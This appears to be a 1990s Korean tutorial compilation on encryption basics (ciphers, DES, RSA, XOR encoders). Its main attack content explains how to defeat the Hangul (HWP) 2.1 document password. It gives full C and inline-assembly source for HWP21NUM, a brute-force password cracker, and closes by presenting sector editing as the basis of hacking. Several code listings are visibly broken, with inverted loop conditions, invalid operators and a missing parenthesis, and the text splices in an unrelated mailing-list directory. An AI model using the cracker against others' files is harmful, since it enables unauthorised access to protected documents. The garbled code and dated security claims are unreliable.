


암호화 기법

   암호작성 시스템은 메시지를 어떠한 분석에도 견뎌낼 수 있는 암호문으로 바
   꾸도록 설계하는  것이다. 여기에는 코드 시스템  또는 암호화시스템 방법을
   이용하고 있다. 코드시스템은 일반적  문자, 단어, 문장 등을 모르스 부호와
   같은 특정  기호로 표시하는 방법이다. 이에  반해 암호시스템은 알고리즘과
   키로 구성되어 있으며, 키는  알고리즘의 원칙에 따라 일반문장이 짜여진 문
   장 기호 또는 숫자의  순차적 표이다. 암호화 알고리즘은 간단하게 일반문장
   의 각 문자를 알파벳  순서에 따른 숫자로 표시하고 암호판(Key te.t)에서의
   알파벳 문자가 위치한  번호를 읽은 다음 이  두개를 합한 것이 가법군이다.
   암호해독은 메시지를  송신하는 사람과 수신하는 사람이 동시에
   같은 암호판을 가지고 있기 때문에 수신된 암호문을 암호작성 순서의 역으로
   찾아가면 일반문장으로 해독할  수 있다. 예를들어 "착륙지점은 B"라는 뜻의
   영문(Meet at landing zone(LZ) bravo)을 암호화하면 UGJUGBNECXIXT가 된다.
   이것은 일반문장의 영문을 알파벳 순으로 배열하고 5자리의 반복되는 숫자82
   516 82516 825와 합한 숫자를  표시한 후(이때 두 숫자의 합이 26을 넘는 경
   우 26을 빼고 계산한다. 예를들어  30은 26을 빼면 4가 되고 이것은 영문 알
   파벳으로 표기하면 D가 되는  것이다) 이 숫자를 영문 알파벳으로 표기한 것
   이 암호문이 되고 이 과정을 역으로 시행하면 암호를 해독할 수 있다.
   컴퓨터 네트워크의 보안은 블록  암호와 스트림 암호를 사용하고 있다. 블록
   암호는 일반문장을 암호문장으로 만들기 위해 키 텍스트의 블록과 대응할 수
   있도록 일정한 크기의 블록으로  분할한다. 합리적 보안을 위해 블록의 크기
   를 다소 크게 잡는다. 전형적으로 블록의 크기는 64비트이다. 스트림 암호는
   키 텍스트 문자열로부터 각각의 일반문장 요소를 하나로 조합하여 생성된 일
   반문장에서 운용된다. 스트림 암호는 통신 애플리케이션에 매우 적합한 것으
   로 일반문장에다 비밀암호 알고리즘을 더한 키 텍스트 문자열을 만들기 위해
   통상적으로 블록 암호화방법을  사용한다. 네트워킹 애플리케이션 이점은 커
   뮤니케이션의 파이프 라인에  나타나는 암호화의 각 요소는 모든 선행요소에
   달려 있다는 것이다.


   데이터 암호화 표준 알고리즘(DES)은  지난 77년 비밀로 취급되지 않은 정보
   의 전송과 저장에 대한 미 연방 정보처리표준(Federal Information ProcessS
   tandard:FIPS)으로 인정받았다. DES  알고리즘은 ANSI X. 3 106 1983으로지
   난 83년에 미국표준기구(ANSI)에 의해 공식적으로 인가받았다.

  기본적인 암호화  엔진은 64비트의 일반문장을  64비트 블록의 암호문장으로
   변형시키는 56비트 키를 사용하는  블록 암호로 운용된다. 각각의 64비트 일
   반문장의 블록은 절반인  32비트로 나누어지고 결과가 재결합되기까지 약 16
   개의 과정을  거친다. 이것을 ECB(Electronic Code  Book)모드라고 한다. 이
   모드를 사용하여 암호문장의 각 블록은 다른 모든 암호문장과 완전히 독립되
   어 침입의 위협에서 벗어날  수 있다. 암호 블록 연결(Cipher Block Chainin
   g:CBC)모드에서는 마지막 암호화작업에 의한 암호문장은 다음 블록의 비암호
   화된 일반문장과  연결된다. 이러한 방법으로 암호문장의  각 블록은 그것에
   선행되는 모든 문장과 연결된다.

   64비트의 일반문장 블록이 입력되       56비트의 키가 무작위로 선택되면 7×10
   의 16승에 해당하는 조합에 의해 만들어진 DES방어는 주먹구구식 끼워맞추기
   방법에 의한 침입을 충분히 막을 수 있다.

   DES는 대칭적 암호시스템으로 알려져 있다. DES 보안시스템의 근본적 단점은
   메시지를 송신하는 쪽과  수신하는 쪽 모두가 키를  가지고 있어야 하며, 이
   키는 자주 변경되어야 하고  키의 배포가 안전하게 보호되어야 한다. 이와는
   대조적으로 비대칭 암호시스템은 암호화와 암호해독을 하는 데 있어 공용 키
   와 개인 키를 기본으로 한다. 만약 A가 B에게 메시지를 송신하려면 A는 반드
   시 B의 공용 키를 알아야 하고 그 공용 키를 이용하여 송신 메시지를 암호화
   한다. 이 메시지는 오로지 B의  개인 키를 이용하여 B만 읽을 수 있다. 가장
   보편적으로 사용되고 있는  비대칭 알고리즘은 RSA 알고리즘인데 RSA 데이터
   보안회사가 특허와 사용허가를 가지고 있다. 비대칭 알고리즘의 단점은 계산
   주기가 길다는 것이다. 이러한  이유 때문에 대칭 알고리즘은 송신내용의 보
   호를 위해 많이 사용되고, 비대칭 알고리즘은 송/수신자의 확인을 위해 주로
   사용되고 있다. PC 베이스의 메시지 전송 애플리케이션용으로 사용이 가능한
   DES 소프트웨어 상품으로는  에베레트사의 "프라이비트 라인"과 센트럴 포인
   트 소프트웨어사의 "PC 시큐어"등이 있다.

   지난 75년 이후 전자우편의 확산으로 메시지 교환제품의 안정적인 사용을 주
   도할 표준 개발에 불이  붙었다. 이것은 메시지를 송신하는 사람과 수신하는
   사람이 다양한 플랫폼과 네트워크 아키텍처에 구애받지 않고 서로 통신할 수
   있도록 하는 모델을 규정하려는 것이다.

   전자우편용 표준으로는 X.400과 X.500이 채택되고 있다. X.400은 국제전신전
   화 자문위원회(CCITT)에 의해 개발된 OSI 추천의 전자 MHS 요소이며, 이외에
   송/수신자의 이름과 주소를 정의한다.

   X.500은 디렉토리를 조회하기  위해 사용되는 2개의 프로토콜(대화에 필요한
   통신규약으로 메시지의 처음과 끝에 붙임. DAP와 DSP가 있음)과 분산된 전체
   디렉토리의 구조를 정의한다.

   비대칭적 공공의 암호  시스템을 효과적으로 사용하기 위해서는 사용자가 반
   드시 송/수신용 키를 쉽게 획득할  수 있어야 한다. 만약 송/수신용 키가 공
   공의 X.500 디렉토리에 저장되는 경우 사용자와 시스템간 충돌이 일어나거나
   공공의 디렉토리  내용이 변경될 수 있다.  X.500 디렉토리는 보안이나 사설
   서비스가 아니기 때문에  디렉토리로부터 읽어낸 공공의 키를 확인하기 위해
   서 디렉토리가 사용자들에게  제공되어야 한다. 메시지 송신자의 확인은 OSI
   방어의 필수적 장치이다.


암호화 기법의 대표적 종류

일반 PC급에서 사용하는 암호화기법을 사용한 프로그램의 대표적인 예를 들겠다.
거의 난공불락이라는 DES 기법을 적용한 암호화이다.
하지만 아래한글 2.X 는 이제 크랙이 되었다.


1) 아래한글 2.5의 암호체계 ------------ Cracked
  실제는 이미 오래전에 Crack되었다고 알려졌다.
  단지 이번의 이승욱씨에 대한 이번 관심은 언론의 스타만들기였다.


2) Pkzip 2.04g의 암호체계 ------------- Cracked already
   완전하지는 않다지만 이미 93년말에 Crack 성공사실이 보고되었다는 문이다.


3) NU's DISKREET의 암호체계 ----------- Crackable but not yet
  아직 수금이 가는 증거로 Crack 했다는 소식을 들어보지 못했다.

4) PCtools' PC-Secure의 암호체계 ------ almost Crackable
  불가능하지 않다.


2,3,4번은 모두 DES의 변형을 사용한다.

특히 PKZIP은 압축과 암호화를 동시에 하기 때문에
정말로 정말로 풀기가 힘들다.
NORTON의 DISKREET를 쓰면
안전성이 다소 떨어진다는 소문도 있지만 편리하고 안전하게 암호를 걸 수 있다.
이것 역시 미국 정부 표준 암호화 방식을 지원하기 때문에
개인적인 보완을 위해서는 전혀 하자가 없다.
PKZIP과 DISKREET -- 피씨 툴즈의 PC-Secure도 있다. -- 의
암호화는 지금까지는 거의 못 푸는 방식으로 정평이 난
암호화 방식을 사용하고 있기 때문에 안심해도 될 것이다.

4-2-2 간단한 암호화 기법의 적용

암호화 저장 방법에 가장 간단하면서 쓸모있는것이 키값을 XOR 연산하는것이다.

< 소스 >


#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <string.h>

#define MAXKEY 7

static KEY[MAXKEY] = { 0x32 , 0x23 , 0xf2 , 0xeb , 0x43 , 0x0c,0x1b };
static unsigned int count =0;

void code(char *in, char *out);

void code(char *in, char *out)

{

  FILE *fp,*fp2;
  char ch;

  if (( fp=fopen(in,"rb"))==NULL) {
          printf("cannot open input FILE [%s]\n",in);
          exit(1);
         }

if(fp2=fopen(out,"wb"))==NULL) {
       printf("cannot open output FILE [%s]\n",out);
             exit(1);
           }

do {

         ch=getc(fp);
         ch^= KEY[ count % MAXKEY ];
         if(feof(fp) ) break;
         putc(ch,fp2);
         count ++;

} while(!ferror(fp) && !ferror(fp2));

close(fp);close(fp2);
}

void main(int argc,char *argv[])
{

printf("CODE CHANGE V1.0 by ddn2\n");
if(argc!=3){
    printf("\a\aUsage : codech <input file> <output file>\n");
    exit(1);
}

if(!strcmp(argv[1],argv[2])) {
           printf("\nFileNAME must be like !\n");
           exit(0);
}
code(argv[1],argv[2]);
printf("\n Complete Coding !!\n");

}



간단한 암호화 XOR
암호화 시키고 싶은 문서를 메모리에 올려놓은뒤에 간단히 한바이트식 XOR 시키면 된다.

데이타 주소가  ds:0100 이라 할때..

    mov cx,45h <<== 데이타 크기
    mov di,100h <<== 데이타 주소
start:
    mov ah,[di]
    XOR ah,12h <<== 12h 로 XOR
    mov [di],ah
    inc di
    loop start


 해제 방법도 똑같다.




암호화 프로그램 예제


#include <stdio.h>
#include <conio.h>
#include <string.h>

#define kcode 0x5f
main(int argc,char *argv[]){
    FILE *fp1,*fp2;
    int ch;
    textmode(C80);
    clrscr();
    textbackground(BLU );
    textcolor(CYAN);
    highvideo();
    window(20,10,60,20);
    clrscr();
    if(argc!=3){
        cprintf("Usuage:amho file1.nam file2.nam\r\n");
        printf("\n\n\n\n\n\n\n\n\n      KIM's secret-number program");
        exit(1);
        }
    cprintf("\r\n\n\n\n\nNow,your progiam is LOCKKING\r\nFor secret-number\r\n
\n\n\n");
    fp1=fopen(argv[1],"rb");
    fp2=fopen(argv[2],"wb");
    do{
        ch=getc(fp1);
        if(feof(fp1))break;
        ch^=kcode;
        putc(ch,fp2);
        }while(!ferror(fp1)&&!ferror(fp2));
    printf("Complete.........");
    fclose(fp1);
    fclose(fp2);
}


다음은 암호화나 컴퓨터 관련 정보를 얻을수 있는 대표적 사이트 들이다.

*컴퓨터 서비스
이름:biz.comp.services
자원종류:유즈냇
상업적인 서비스 사업소.

*통신
이름:comp.dcom.mobems
자원종류:유즈냇
데이타 통신,하드웨어와 소프트웨어.

*암호학
이름:crypto-l
자원종류:리스트서브
주소:crypto-l@jpntuvm0.bitnet
암호학 논의 진행중인 연구 정보교환등
수학과 관련된 정보 유포
구독요청주소.
info-pgp-request@lucpul.it.luc.edu

이름:info-PGP
지원종류:리스트
주소:info-pgp@lucpul.it.luc.edu
공개 키 암호 소프트웨어 패키지 PGP에 대한토론.

이름:info-PGP
자원종류:리스트
주소:info-pgp-request@lucpul.it.luc.edu
MS-DOS,UNIX,SPARC,VMS,애트리,아미가,그리고
다름 플랫폼을 위한 PHIL ZIMMER MAN & CO`S PRETTY
GOOD PRIVACY(PGP)공개 키 암호 프로그램을 위한 토론.

*사이버공간
이름:cyber-l
자원종류:리스트서브
주소:cyber-l@marist.bitnet
사이버공간 현상에 관한것.

이름:virtu-l
자원종류:리스트서브
주소:virtu-l@vmd.cso.uiuc.edu
유즈넷 단체인 sci.virtual-worlds의 한 게이트웨어
이며 가상현실에 대한 토론.

*연방정부
이름:fedjobs
자원종류:리스트서브
주소:fedjobs@dartcmsl.dartmouth.edu



아래아 한글에서의 코드 저장법

 여러 다른 프로그램들처럼 아래아 한글도 한글 코드는 조합형 코드를 쓴다. 그러나
아래아 한글 화일을 일반 에디터로 뷰 해본 사람은 문서 자체는 전혀 나타나지 않는것
을 보았을 것이다. 아래아 한글 화일에서는 2Byte코드를 하위,상위의 순으로 나타내기
때문이다. 조합형 한글 "가"의 코드는 88h,61h인데 아래아 한글에서는 이것이 61h,88h
로 저장되는 것이다. 저장 뿐 아니라 아래아 한글의 모든 글자 처리는 그와 같은 방법
을 쓴다. 2Byte문자가 아닌것..예를 들자면 "A"의 경우는 아래아 한글에서는 2Byte코
드로 변환하여 처리한다 즉 A는 코드가 41h인데 아래아 한글에서는 0041h 즉, 41h,00h
로 바꾸어 처리하게 된다.

아래아 한글 암호체계에 대한 간단한 설명

 아래아 한글 암호체계는 입력받은 암호를 가지고 여러 연산과정을 거쳐서 코드를 만
들고 그 코드로 문서를 암호화하는 방법으로, 이 방법은 원래 암호체계를 완전히 이해
하고 설사 아래아 한글의 소스를 입수했다고 치더라도 풀기가 거의 불가능한 방법이다.
 입력받은 암호를 알아야 문서를 푸는 키 코드를 구할 수 있기 때문에, 소스를 입수한
다고 해도 암호체계를 이해하는 정도에서 그치게 된다. 그러나 그런 암호화 기법이 최
근 깨졌다. 이론적으로 깨기가 거의 불가능하다고 하는 암호가 깨진 이유는 무엇이며
그 방법은 무엇일까? 이 단원에서는 아래아 한글의 암호체계와 그것을 푸는 방법을 설
명한다. 아래아 한글 암호체계에서 쓰이는 코드는 두가지가 있는데, 편의상 이것들을
비교 코드, 키 코드라고 부르자.

비교코드란?

 비교코드는 입력받은 암호가 문서의 암호와 같은지를 비교하는데 쓰이는 것으로 문서
의 해독 자체에는 관여하지 않는다. 아래아 한글은 문서에 암호를 담아 저장할때에 우
선 입력받은 암호의 아스키 코드 혹은 조합형 한글 코드를 가지고 사칙연산과 비트연
산을 섞어 그 결과를 화일에 저장한다. 그리고 암호가 걸린 문서를 불러올때는 암호를
입력받아 같은 계산을 하여 나온 결과와 화일에 저장된 결과를 비교하여 같을 경우 문
서를 푸는 작업으로 넘어가고 틀릴 경우에 암호가 틀리다는 메시지를 출력하고 문서읽
기를 취소한다.
 이 코드의 목적은 단순히 불러올때 입력받은 암호와 저장할 때 입력받은 암호를 비교
하는 것이지만 그렇다고 없어어는 안되는 코드이다. 가령, 문서를 푸는 코드를 가지고
암호를 비교한다고 하면 문서를 푸는 코드가 화일에 저장되어 있어야 하는 것이다. 그
러면 문서 안에 저장된 코드를 가지고 그 문서화일을 풀 수가 있게 된다. 그러므로 비
교하는 코드와 문서를 푸는 코드를 따로 하여 비교하는 코드만 화일에 저장하는 것이
다.

비교코드의 구성

 비교코드는 16bit, 즉 2바이트의 정수로 이루어져있다. 수로 친다면 0~65535의 값이
다. 그럼 이 비교코드는 어떻게 만드는가? 비교코드를 구하는 루틴을 c로 나타내면 다
음과 같이 된다. 여기서는 위에서 설명한 코드를 사용한다.

unsigned int password[100]={...} /*패스워드의 2Byte코드들... 0이면 끝을 나타냄*/

unsigned int get_comparing_code()
{
  unsigned int cc=0,offs=0;
  while(password[offs]==0) {
    cc<<=3;
    cc~=password[offs];
    cc+=0xa5;
    offs+=2;
  }
  cc%=0xff00;
  cc+=0x55;
  return(cc);
}

 그럼 이 비교코는 어디에 저장되는가? 아래아 한글 2.1의 HWP문서화일의 offset 126
에 2Byte가 저장되어있다. 물론 암호가 없을때는 00h,00h 이다.
 암호를 넣어 저장한 후에 위와 같은 식으로 비교코드를 계산하여 만든 후 그곳에 저
장된 수치를 보면 그 둘은 일치할 것이다.

해독코드란?

 해독코드는 문서의 암호화를 푸는 데 쓰이는 코드로 가장 중요한 코드라고 할 수 있
다. 이 해독 코드는 문서 화일에 저장되지 않는다. 이 해독코드는 역시 암호를 입력받
아 그 아스키 코드 혹은 조합형 코드를 가지고 여러 연산을 하여 만들어지며, 암호를
넣어서 저장할때, 혹은 암호를 입력받아 불러올때 계산을 하여 암호화하여 화일을 저
장하거나 암호화된 화일을 풀어 읽어올때 잠시만 생성된다. 이 해독코드를 생성하는
과정은 불러올때의 경우 입력받은 암호로 만든 비교코드와 화일에 저장된 비교코드를
비교하여 같을 때 실행된다.


해독코드의 구성

 해독코드는 비교코드와 마찬가지로 16bit, 2바이트의 정수로 이루어져있다. 역시 수
로 친다면 0~65535의 값이 된다. 해독코드의 제작법도 비교코드를 만드는 법과 매우
비슷하다. 단 해독코드를 만들때는 비트 연산 중 회전(Rotate)라는 연산을 쓰는데 많
은 고급언어들이 이 연산은 지원을 하지 않기 때문에 여기서는 다른 연산들을 섞어서
회전연산을 할 수 있도록 할 것이다.

unsigned int password[100]={...} /*패스워드의 2Byte코드들... 0이면 끝을 나타냄*/

unsigned int get_decoding_code()
{
  unsigned int dc=0,offs=0;
  while(password[offs]==0) {
    dc=(dc>>3)|((dc&7)>>13); /* dc를 오른쪽으로 3비트 회전한다 */
    /* 위의 문장 대신
      asm mov cl,3
      asm ror dc,cl
      으로 바꿀 수 있다.
    */
    dc~=password[offs];
    dc+=0xa5;
    offs+=2;
  }
  return(dc);
}


해독코드로 자료 해독하기

 그럼 해독코드는 어떻게 하는가? 말그대로 문서를 해독하는 열쇠의 역할을 하는 것이
다. 그러면 문서는 어떤 원리로 풀게 되는 것인가? 우선 문서의 암호화에 대해 알아볼
필요가 있다. 아래아 한글의 문서 화일은 앞의 헤더 부분을 제외한 모든 부분이 문서
데이타 저장 부분으로 모든 부분이 2Bytes단위로 되어 있다. 그리고 암호화는 이 문서
데이타 부분의 전 부분에 하게 된다. 문서에서 사용되는 글의 코드 역시 먼저 설명했
던 방식으로 저장이 된다.
 이 문서데이타 부분을 푸는 부분을 c언어로 표현하자면 다음과 같이 된다.

unsigned int document_data[SIZE]={...} /*문서 데이타의 2Byte 코드들...0이면 끝*/

void decode_document(int dc) /* 해독 코드가 입력으로 들어간다 */
{
  unsigned int ax,dx,offs=0,si;
  unsigned char ah,al,cnt,tmp;
  si=0;
  while(document_data[offs]==0) {
    ax=document_data[offs];
    cnt=6;
    do {
      dx=(dc>>cnt)+(dc&((1<<cnt)-1)>>(16-cnt); /*dx를 오른쪽으로 cnt만큼 회전*/
      tmp=ax>>8;
      ah=tmp;
      al=ax&255;
      ah^=(dx&255);
      ah^=al;
      al=tmp;
      ax=(ah<<8)+al;
      cnt-=2;
    } until cnt<6
    ax^=si;
    si++;
    document_data[offs]=ax;
  }
}

 해독코드를 펑션에 넣고 암호화된 문서 데이타를 document_data 배열에 넣어 펑션을
호출하면 document_data에 해독된 코드가 담겨질 것이다.


아래아 한글 암호체계의 구멍

 아래아 한글사에서는 아래아 한글 2.1의 암호체계는 32bit암호체계이며, 그에 따라
키를 무작위로 만들어 풀어보는 방식으로는 2의 32승인 약 4억2천번의 계산을 거쳐야
한다고 주장했다. 그러나 비교코드 16bit에 해독코드 16bit가 있다고 암호가 32bit라
고 계산한 것은 잘못이다. 실제로 암호를 푸는데 있어서는 해독코드만 필요한 것이다.
 그러면 무작위로 대조해서 푸는 최악의 방법으로 푼다 하더라도 2의 16승인 약6만5천
번의 계산이면 되는 것이다. 6만5천번이면 엄청나게 많은 횟수이라 생각될 수 있으나
그렇지 않다. 컴퓨터란 말그대로 계산기이며 엄청나게 빠른 계산을 할 수 있다. 그리
고 위에서 알아보앗듯이 아래아 한글의 암호를 해독하는데 사용되는 연산은 비트 회전
(Shift/Rotate)나 And 등 덧셈 계산보다 기계가 빨리 할 수 있는 연산에 +,*,/가 약간
섞인 정도이다. 게다가 계산되는 수 역시 2Byte 정수형으로 하드웨어적으로 16Bit XT
이상이면 몽땅 연산이 가능한 수이다. 이렇게 되었을때 어셈블리어로 일일히 대입해보
는 프로그램을 짠다고 하면 짧게는 수십 초에서 길어도 수 분이면 암호가 풀리게 될
것이다.

어떻게 풀 수 있는가?

 위에서 말했던 결점을 이용하면 암호체계는 풀릴 수 있을 것이다. 그러나 또 하나의
관문이 있다. 아래아 한글에서는 해독코드를 입력받아서 암호를 푸는 것이 아니다. 암
호 문자열을 받아 연산을 거쳐 비교코드를 만든 후에 비교코드와 비교하고 그 후에 해
독코드로 문서를 풀게 되어 있어서 해독코드만 알게 되면 비교코드를 모르게 되어 암
호가 틀렸다는 메시지를 받을 것이고 비교코드만 알게 된다면 해독코드로 풀을 때 문
서가 잘못 풀어져 "문서가 손상되었습니다."라는 에러가 나오게 될 것이다. 또한 두
코드를 한번에 모두 구한다고 했을때는 4억 2천번을 모두 돌려봐야 구할 수가 있는 것
이다.
 그러나 이 문제 역시 생각을 어느정도 해보면 해결이 가능하다. 우선 해독코드를 구
하게 되었을때 문자열을 어떻게든간에 무작위로 만들어서 그 문자열로 해독코드를 구
했을 때 맞아 떨어지는 문자열을 기억한 후에 그 문자열로 비교코드를 계산으로 구하
여 아래아 한글 화일의 헤더 부분의 비교코드가 있는 곳에 써 넣으면 되는 것이다.
 그런 후에 아래아 한글에서 문서를 읽을때 구한 문자열을 입력하면 암호는 풀리게 되
는 것이다. 또는 문서 부분을 아예 프로그램상에서 풀어서 암호없이 저장하는 방법도
있을 수 있다.
 그런데 해독코드를 구하는 것 역시 문제가 있을 수 있다. 해독코드를 일일히 만들어
서 문서 데이타를 풀어나갈때 풀린 문서 데이타가 맞는 것인지를 알아낼 방법이 없는
것이다.
 이것 또한 생각을 해보면 알 수 있다. 아래아 한글의 정상적인 코드는 한글일 때 조
합형 코드를 뒤바꾼 코드라는 것을 앞에서 언급했다. 문서 화일의 대부분의 첫 부분에
는 한글이 있을 것이고 코드를 풀었을 때 조합형 한글 코드가 되는 코드가 몇 퍼센트
가 있는지 세어서 어느 기준 이상이면 맞다고 치면 대부분의 문서가 풀리게 된다. 조
합형 한글 코드가 되는지 알아보는 방법은 조합형 한글의 원리만 알면 쉽게 알 수 있
다. 그러나 문서 중에는 앞부분에 표 또는 그림, 외국어 등이 많이 있는 경우가 잇다.
이 경우는 전자의 방법으로 풀 수는 없다. 이경우는 아래아 한글 문서 화일의 문서 데
이타 영역의 구조를 알아야 한다. 해독코드가 틀렸을 경우 전체적으로 틀리게 번역되
므로 그 구조 또한 오류가 발생하게 된다. 이 것을 알아보는 것이 가장 확실하나 아래
아 한글 화일의 구조는 공개되어있지 않으므로 구조를 알아내는 작업을 해야 할 것이
다.



다음은 HWP21NUM.EXE 의 C 소스이다.

HWP21NUM은 아래 한글 2.1 의 숫자화된 암호를 풀기위한 프로그램이다.
문제가 되고있는 CODE21 과는 달리 사용에 법적 하자가 전혀없다.


/* FileName: HWP21NUM.C

   Description: HWP 2.1 형식의 문서파일의 숫자 암호 해독기

   Programming: Lim Hyoung-Taek

   Compile: tcc -B hwp21num
*/

#include <io.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>

/* 설명: 여기서는 입력 키의 값을 최대 5개까지 잡아서 프로그래밍을 했다.
         만약 키 값을 더 많이 잡아야 하는 경우는 프로그램을 고쳐서
         사용하기 바란다. C를 조금 하시는 분이라면 쉽게 수정할 수
         있을 것이다.

         참고로 만약 암호가 123456과 같이 6자리인 경우는 암호 해독시
         23456과 같이 뒤에서 5개 까지만 해독한다. 이 경우 숫자는 0~9
         까지 이므로 키 하나씩 늘일때 마다 10배의 시간이 소요된다.

         사실 해독 프로그램이라기 보다는 패스워드 어택 프로그램과
         비슷하다고 할 수 있다.

         알고리즘 보다는 생산성 위주로 빨리 작성했기 때문에 소스를
         보면 다소 비효율적인 부분이 있을텐데, 좀 더 빠른 속도가
         나올 수 있도록 고쳐서 사용해도 좋다.

         제가 시간이 없어서 그런데, 담에 시간이 나면(거의 안날겁니다: 시간나면
         놀아야죠...) 강좌해 드리죠...

         사실 이 프로그램과는 다른방법으로... 실제로 한.컴에서는 32bit라고는
         하지만 16bit의 해독용키를 사용하므로 해독용 키를 어택해서 문서파일을
         정상적인 코드가 나올때까지 구하면 단 수십초면 쉽게 해독용 키를 구할
         수 있습니다. 일단 해독용키만 구하면 나머지는 쉽게 할 수 있죠..
         실제로 code21이 이런 방법일 겁니다...

         근데.. 한글 3.0에서는 64bit를 사용한다고 하니 물론 32bit의 해독키를
         사용하겠지만요...  이때는 정말 어택해도 42억번이상을 어택해야 하니
         (물론 중간에 구할수도 있지만요.) 이런 방법으로는 거의 불가능하다고
         할 수 있고요... 새로운 방법을 연구해야 할겁니다. 일단 zip의 암호화가
         32bit des라고 하니 이를 깨보는 것도 좋은 방법일겁니다. 실제로 아직
         깨지지 않고 있습니다. 일본에서 누군가 des를 깼다는 얘기도 있더군요...

         그러나 3.0에서도 숫자암호에서는 이 프로그램에서 알고리즘만 바꾸면
         그래도 적용할 수 있습니다.

         이런 방식으로 영문이나 한글 암호를 알아내는건 시간이 너무너무 엄청나게
         걸리므로 실제로 백년이 넘게(그 이상이 될수도: 키 갯수에 따라서 달라지
         므로..) 걸릴 수도 있습니다..

         하여간 참고하셔서 더 좋은 알고리즘을 연구하시기 바랍니다.
*/


/* 배열에 들어온 입력된 키(암호)를 이용해서 확인용 키를
   구하는 함수. 역으로 확인용 키에서 입력된 키를 구할 수는 없다.
   알고리즘을 잘 살펴보면 역으로는 불가능하다는 걸 알 수 있을
   것 이다. */
unsigned GetConfirmKey(unsigned InpKey[])
{
   int i = 0;

   _BX = InpKey[i];
   asm  xor  si, si
   asm  xor  ax, ax
   asm  cmp  bx, +00
   asm  jnz  _1e0f
   exit(0);
_1dfa:
   asm  mov  ax, si
   asm  mov  cl, 3
   asm  shl  ax, cl
   asm  push ax
   _BX = InpKey[i];
   asm  pop  ax
   asm  xor  ax, bx
   asm  add  ax, 0a5h
   asm  mov  si, ax
   asm  inc  WORD PTR i
_1e0f:
   asm  push ax
   _BX = InpKey[i];
   asm  pop  ax
   asm  cmp  bx, +0
   asm  jnz  _1dfa
   asm  mov  ax, si
   asm  mov  bx, 0ff00h
   asm  xor  dx, dx
   asm  div  bx
   asm  add  dx, +55h
   asm  mov  ax, dx

   return(_AX);
}

/* 배열에 들어온 입력된 키(암호)를 이용해서 해독용 키를
   구하는 함수. 역으로 해독용 키에서 입력된 키를 구할 수는 없다.
   알고리즘을 잘 살펴보면 역으로는 불가능하다는 걸 알 수 있을
   것 이다. */
unsigned GetDecodeKey(unsigned InpKey[])
{
   int i = 0;

   _BX = InpKey[i];
   asm  xor  si, si
   asm  xor  dx, dx
   asm  jmp  _0016;
_0007:
   asm  mov  cx, 3
   asm  ror  dx, cl
   asm  push ax
   _BX = InpKey[i];
   asm  pop  ax
   asm  xor  dx, bx
   asm  inc  WORD PTR i
_0016:
   asm  push ax
   _BX = InpKey[i];
   asm  pop  ax
   asm  cmp  bx, +00
   asm  jnz  _0007
   asm  mov  ax, dx

   return (_AX);
}

main(int argc, char* argv[])
{
   char path[80];
   unsigned ConfirmKey;
   unsigned InpKey[6];
   int handle;
   int PasswordCount  = 1;
   int fFoundPassword = 0;

   InpKey[5] = 0x0000;

   printf("┌───────────────────┐\N");
   printf("│                                      │ \n");
   printf("│    HWP 2.1 Numeric password decoder│\n");
   printf("│                                       │\n");
   printf("│   Production: 1995,  Lim Hyoung-Taek │\n");
   printf("│                                        │\ n");
   printf("└────────────────────┘\n");

   if (argc < 2)
   {
     printf("Usage: HWP21NUM [pathname][filename][.hwp]\n");
     exit(1);
   }

   strcpy(path, argv[1]);
   if (strrchr(path, '.') == NULL)
     strcat(path, ".HWP");

   handle = open(path, O_RDONLY);
   if (handle == -1)
   {
     printf("\7Error: cannot find such directory or filename\n");
     exit(1);
   }
   lseek(handle, 0x7eL, SEEK_SET);   /* 오프셋 7eh로 이동 */
   read(handle, &ConfirmKey, 2);     /* 확인키 읽기 */
   close(handle);

   printf("Wait a moment ...\n");

   for (InpKey[4]=0x0030;InpKey[4] <= 0x0039; InpKey[4]++)
   {
     printf(".");
     for (InpKey[3]=0x0030;InpKey[3] <= 0x0039; InpKey[3]++)
     {
       if (InpKey[4] == 0x0030)
         InpKey[4] = 0;
       for (InpKey[2]=0x0030;InpKey[2] <= 0x0039; InpKey[2]++)
       {
         if (InpKey[3] == 0x0030 && InpKey[4]==0x0000)
           InpKey[3] = 0;
         for (InpKey[1]=0x0030;InpKey[1] <= 0x0039; InpKey[1]++)
         {
           if (InpKey[2] == 0x0030 && InpKey[3]==0x0000 &&
               InpKey[4] == 0x0000)
             InpKey[2] = 0;
           for (InpKey[0]=0x0030;InpKey[0] <= 0x0039; InpKey[0]++)
           {
              if (InpKey[1] == 0x0030 && InpKey[2]==0x0000 &&
                  InpKey[3] == 0x0000 && InpKey[4]==0x0000)
                InpKey[1] = 0;

              if (GetConfirmKey(InpKey) == ConfirmKey)
              {
                 printf("\n\n\7Success: found password %d\n", PasswordCount++);
                 printf("\nConfirm key = %xh", ConfirmKey);
                 printf("\nDecode  key = %xh", GetDecodeKey(InpKey));
                 printf("\nPassword    = %c%c%c%c%c\n", InpKey[0],
                   InpKey[1], InpKey[2], InpKey[3], InpKey[4]);

                 fFoundPassword = 1;
              }
           }
           if (!InpKey[1])
             InpKey[1] = 0x0030;
         }
         if (!InpKey[2])
           InpKey[2] = 0x0030;
       }
       if (!InpKey[3])
         InpKey[3] = 0x0030;
     }
     if (!InpKey[4])
       InpKey[4] = 0x0030;
   }

   if (! fFoundPassword)
     printf("\n\7Failure: password not found");
   printf("\n");

}


안녕하세요.

16번째 시간입니다.


우선 간단한 섹터 조작법을 소개합니다.

섹터를 조작함으로써 프로그램 내부를 뜯어보고 고칠수가 있다.
단순히 게임의 암호깨기나 레벨 올리기에 에 적용할수도 있다.
섹터 조작이야 말로 해킹의 기본이라고 할 것이다.

섹터

 섹터(sector)란?
     -파일을 나누는 단위가 되는 것으로,512개의 아스키 코드들이 조합된 단위이다.


섹터를 조작할수 있는 프로그램
  -Debug,Norton Disk Edit,PC-Tools등이 있는데 이 중에서 PC-Tools가 가장 많이 쓰여지고
   있다.
   PC-TOOLS 는 대부분 가지고 있을것이다.

섹터 조작전 이론 습득

컴퓨터의 내부를 보면 아스키코드와 헥스 코드로 나누어진다.
학교 다닐때 진수변환이란것에 대해 수학시간에 배웠을 것이다.
바로 그 진수를 제대로 알아야 에디트를 할수있다.

<< 10 진수 , 16 진수 >>

10진수는 사람이 사용하는 숫자이다
16,8,2진수는 보통 컴퓨터가 사용하는 숫자이다.
그러나 섹터는 알다시피 모두 16진수로 이루어져 있다.
먼저 10진수와 16진수의 개념을 설명 하겠다.
10진수 ??????????-->10개 16진수 ????????????????-->16개
10진수는 사람들이 보통 사용하는 숫자 이다.
